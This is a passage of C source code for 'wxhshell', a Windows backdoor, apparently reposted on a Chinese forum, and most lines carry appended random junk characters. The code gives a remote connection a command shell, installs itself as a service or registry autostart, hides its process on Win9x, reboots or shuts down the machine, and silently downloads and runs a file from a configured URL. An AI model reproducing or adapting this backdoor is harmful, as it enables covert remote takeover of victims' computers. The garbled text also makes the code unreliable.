    switch(cmd[0]) { {9Db9K^  
  *afejjW[  
  // 帮助 A ^-Z)0 :  
  case '?': { yW{mK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *b:u * `@  
    break; e$H|MdYIA  
  } e7lo!( >#  
  // 安装 .@Hmg  
  case 'i': { a" ^#!G<+  
    if(Install()) TG4^_nRl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gh'kUZG a  
    else xSdN5RN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 T mK  
    break; 8V,"Id][  
    } 7t`E@dm  
  // 卸载 T0s35z9  
  case 'r': { iF8@9m  
    if(Uninstall()) #gF2(iK6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^uM_b  
    else BB0g}6M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /G{&[X<4U  
    break; *&h6*zP?  
    } h)7v1,;w'  
  // 显示 wxhshell 所在路径 $1b]xQ  
  case 'p': { 7KeXWW/d  
    char svExeFile[MAX_PATH]; /i> ?i@O-  
    strcpy(svExeFile,"\n\r"); %7iUlO}}V  
      strcat(svExeFile,ExeFile); :a=ro2NH  
        send(wsh,svExeFile,strlen(svExeFile),0); N/(ofy  
    break; @J kui  
    } E7k-pquvE  
  // 重启 5Ws5X_?d  
  case 'b': { %N7gT*B:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eSJAPU(D  
    if(Boot(REBOOT)) -<]\l3E&J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $  9S>I'  
    else { tN[St  
    closesocket(wsh); K<RmaXZ  
    ExitThread(0); qwL 0~I  
    } Nz3zsP$  
    break; sWp{Y.  
    } f%vHx,  
  // 关机 =_K%$y*  
  case 'd': { "L ^TT2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0W;q!H[G  
    if(Boot(SHUTDOWN)) *iPs4Es-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,:c :6Y^  
    else { gkSGRshf  
    closesocket(wsh); -6AOK<kfI  
    ExitThread(0); 9cl{hdP{  
    } Z@<q/2).|  
    break; }m9S(Wal  
    } [t {vYo  
  // 获取shell _e;N'DZ  
  case 's': { O\LjtMF  
    CmdShell(wsh); mipi]*ZfXE  
    closesocket(wsh); @QvfN>T  
    ExitThread(0); 32M6EEmPG  
    break; 5JO[+>  
  } xWd9%,mDNR  
  // 退出 }*xC:A%aS  
  case 'x': { C<zx'lw!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s'R~ r  
    CloseIt(wsh); zfM<x,XdY  
    break; ( K^YD K  
    } Ti0 (VdY  
  // 离开 ac2}3 $u  
  case 'q': { N;e;4,_ n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OJnPP>  
    closesocket(wsh); -OHvK0~  
    WSACleanup(); pI'8>_o  
    exit(1); ;5&k/CB1  
    break; '=KuJ0`nE9  
        } /&~nM  
  } NvXj6U*%  
  } |U8>:DEl  
6lB{Ao?|  
  // 提示信息 {KF7j63  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e}{8a9J<%_  
} .t"n]X i  
  } >l7eoj  
P&qy.0  
  return; "r5'lQI  
} [{hLF9yPx  
NTXws4'D  
// shell模块句柄 {Bav$kw;?e  
int CmdShell(SOCKET sock) m~Lf^gbG?  
{ VZU Zngw  
STARTUPINFO si; =g{_^^n  
ZeroMemory(&si,sizeof(si)); F2Nb5WT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :6\-9m8JM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1C^HCIH7J  
PROCESS_INFORMATION ProcessInfo; jEC'l]l  
char cmdline[]="cmd"; pkrl@ jv >  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e_fg s>o`(  
  return 0; },?-$eyX  
} 7H8GkuO  
44Seq  
// 自身启动模式 Y!K^-Y}  
int StartFromService(void) 9+WY@du+  
{ *Y| lO  
typedef struct 34&u]4=L)  
{ V Z4nAG  
  DWORD ExitStatus; mafAC73  
  DWORD PebBaseAddress; {|8:U}<#h  
  DWORD AffinityMask; 5Ws:Ei{R  
  DWORD BasePriority; 842Mydom  
  ULONG UniqueProcessId; n?TO!5RZK  
  ULONG InheritedFromUniqueProcessId; ;Xnk+  
}   PROCESS_BASIC_INFORMATION; f~n' Ki+'  
xEd#~`Jmr  
PROCNTQSIP NtQueryInformationProcess; e#76h;  
-jcrXskb&N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "6|'& 6&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bTA14&& q  
$6 Q2)^LJ  
  HANDLE             hProcess; 7LyV`6{70  
  PROCESS_BASIC_INFORMATION pbi; cOj +}Hz58  
V^/h;/! ^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0C4*F  
  if(NULL == hInst ) return 0; IdN%f]=/  
[A.eVuV;+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rx_,J%0Fq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QjW~6Z.tI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *YiD B?Si  
H4K(SGx  
  if (!NtQueryInformationProcess) return 0; m\R@.jkZ  
(o6A?37i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =6"hj,[Q  
  if(!hProcess) return 0; ynOc~TN  
 JsAb q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YQfZiz}Fv  
LiHXWi{s  
  CloseHandle(hProcess); r`mzsO-'  
+ik N) D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b_)QBE9  
if(hProcess==NULL) return 0; {4V:[*3  
&L[8Mju6  
HMODULE hMod; qZyt>SAx  
char procName[255]; y7}~T!UyfF  
unsigned long cbNeeded; 2_ZHJ,r   
9e :d2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MO(5-R`  
MRxo|A{  
  CloseHandle(hProcess); Vt$ $ceu  
T8M[eSbZ  
if(strstr(procName,"services")) return 1; // 以服务启动 5BGv^Qb_2  
<try%p|f  
  return 0; // 注册表启动 /ab K/8ZQ  
} E`sapk  
e2VL/>y`  
// 主模块 ;Kq<',u~  
int StartWxhshell(LPSTR lpCmdLine) $D2Ain1  
{ * (XgUJ q+  
  SOCKET wsl; c+\Gd}IJq  
BOOL val=TRUE; QKL]O*  
  int port=0; QtO[g  
  struct sockaddr_in door; M\$<g  
}!J/ 9WKgU  
  if(wscfg.ws_autoins) Install(); |~T+f&   
w-q=.RSTn=  
port=atoi(lpCmdLine); CsQ}P)  
_#\5]D~""  
if(port<=0) port=wscfg.ws_port; M#22Zfxq   
%Tm' aY"  
  WSADATA data; X~/ 9Vd g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YRT}fd>R&  
sjVl/t`l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   07HX5 Hd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Dh&ez`oR'  
  door.sin_family = AF_INET; $(<*pU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -^SD6l$  
  door.sin_port = htons(port); )I0g&e^Tzy  
b "AHw?5F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v*T@ <]f3j  
closesocket(wsl); 4tN~UMw?  
return 1; "MVN /Gl  
} DQHGq_unP  
T=)L5Vuq<  
  if(listen(wsl,2) == INVALID_SOCKET) { h hNFp  
closesocket(wsl); >+W?!9[p:2  
return 1; q=i,'.nS  
} h11bK'TIv  
  Wxhshell(wsl); f<x t3  
  WSACleanup(); n*]x02:LjZ  
A5 J#x6@  
return 0; /(}l[jf  
<i`K%+<WO  
} E<.{ v\  
JjL0/&  
// 以NT服务方式启动 _ d"Y6 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9#A{C!75(y  
{ tZ6v@W  
DWORD   status = 0; !&<Wc^PG  
  DWORD   specificError = 0xfffffff; F^[Rwzv>c  
?2 O-EiWjZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J5r L7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #onfac-3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X wn|.  
  serviceStatus.dwWin32ExitCode     = 0; 085 ^!AZ  
  serviceStatus.dwServiceSpecificExitCode = 0; m~\m"zJ4  
  serviceStatus.dwCheckPoint       = 0; b9!J}hto,  
  serviceStatus.dwWaitHint       = 0; #p^pvdvh3  
l'X?S(fiV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :r[-7 [/  
  if (hServiceStatusHandle==0) return; '"NdT7*+  
JZ*?1S>  
status = GetLastError(); ,@j& q  
  if (status!=NO_ERROR) fTnyCaB  
{ 1 </t #r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zi'8~iEH  
    serviceStatus.dwCheckPoint       = 0; P<w>1 =  
    serviceStatus.dwWaitHint       = 0; E9NGdp&-Ah  
    serviceStatus.dwWin32ExitCode     = status; mm~o%1|WR  
    serviceStatus.dwServiceSpecificExitCode = specificError; t3kh]2t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pLFL6\{g  
    return; @;-Un/'C;7  
  } b+fy&rk@-  
>Sl:Z ,g;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W!Os ci  
  serviceStatus.dwCheckPoint       = 0; kO O~%|1CP  
  serviceStatus.dwWaitHint       = 0; N,'qMoNf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ( ]uoN4  
} ;{#M  
a}8>(jtSt  
// 处理NT服务事件,比如:启动、停止 n@8{FoF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qv >(  
{ !!Gi.VL  
switch(fdwControl) Kh_>Vm/  
{ vt7C  
case SERVICE_CONTROL_STOP: :=fHPT  
  serviceStatus.dwWin32ExitCode = 0; 2tTV5,(1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZtZV:re=  
  serviceStatus.dwCheckPoint   = 0; a[OLS+zf!P  
  serviceStatus.dwWaitHint     = 0; A&|(%  
  { m_W.r+s~C4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uTF EI.N  
  } vVRCM  
  return; [75e\=wK  
case SERVICE_CONTROL_PAUSE: XsCbJ[Z_?q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8Y kH  
  break; i7E7%~S  
case SERVICE_CONTROL_CONTINUE: i}12mjF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rs)aEmvC  
  break; =cX"gI[  
case SERVICE_CONTROL_INTERROGATE: X| 0`$f  
  break; {.[,ee-)9  
}; v}t :}M<;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "h|0]y^2  
} E.*OA y  
GeR -k9  
// 标准应用程序主函数 9!<3qx/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3). c [F^l  
{ mr\L q~*c  
m,"tdVo.  
// 获取操作系统版本 G@6,O-Sj  
OsIsNt=GetOsVer(); Wam?(!{mOf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i]Of<eQ"  
WUQh[A41  
  // 从命令行安装 >Qu^{o  
  if(strpbrk(lpCmdLine,"iI")) Install(); R-0Ohj  
`'t;BXedz/  
  // 下载执行文件 <OFqUp*l  
if(wscfg.ws_downexe) { 23?0'AU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  PW\FcT  
  WinExec(wscfg.ws_filenam,SW_HIDE); o*S $j Cf?  
} X Ow^"=Oa[  
MPw7!G(qj  
if(!OsIsNt) { L{ ^@O0S  
// 如果时win9x,隐藏进程并且设置为注册表启动 }Bg<Fm  
HideProc(); icbYfgQ  
StartWxhshell(lpCmdLine); YZ+g<HXB  
} $CV'p/^En  
else V&n JT~k  
  if(StartFromService()) HBYpjxh  
  // 以服务方式启动 O c3%pb;  
  StartServiceCtrlDispatcher(DispatchTable); FK('E3PG  
else tA n6pGp  
  // 普通方式启动 AMiFsgBj  
  StartWxhshell(lpCmdLine); %HS!^j3C%  
_\6(4a`,  
return 0; M?CMN.Dw  
}
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只看该作者 1 发表于: 2006-10-10
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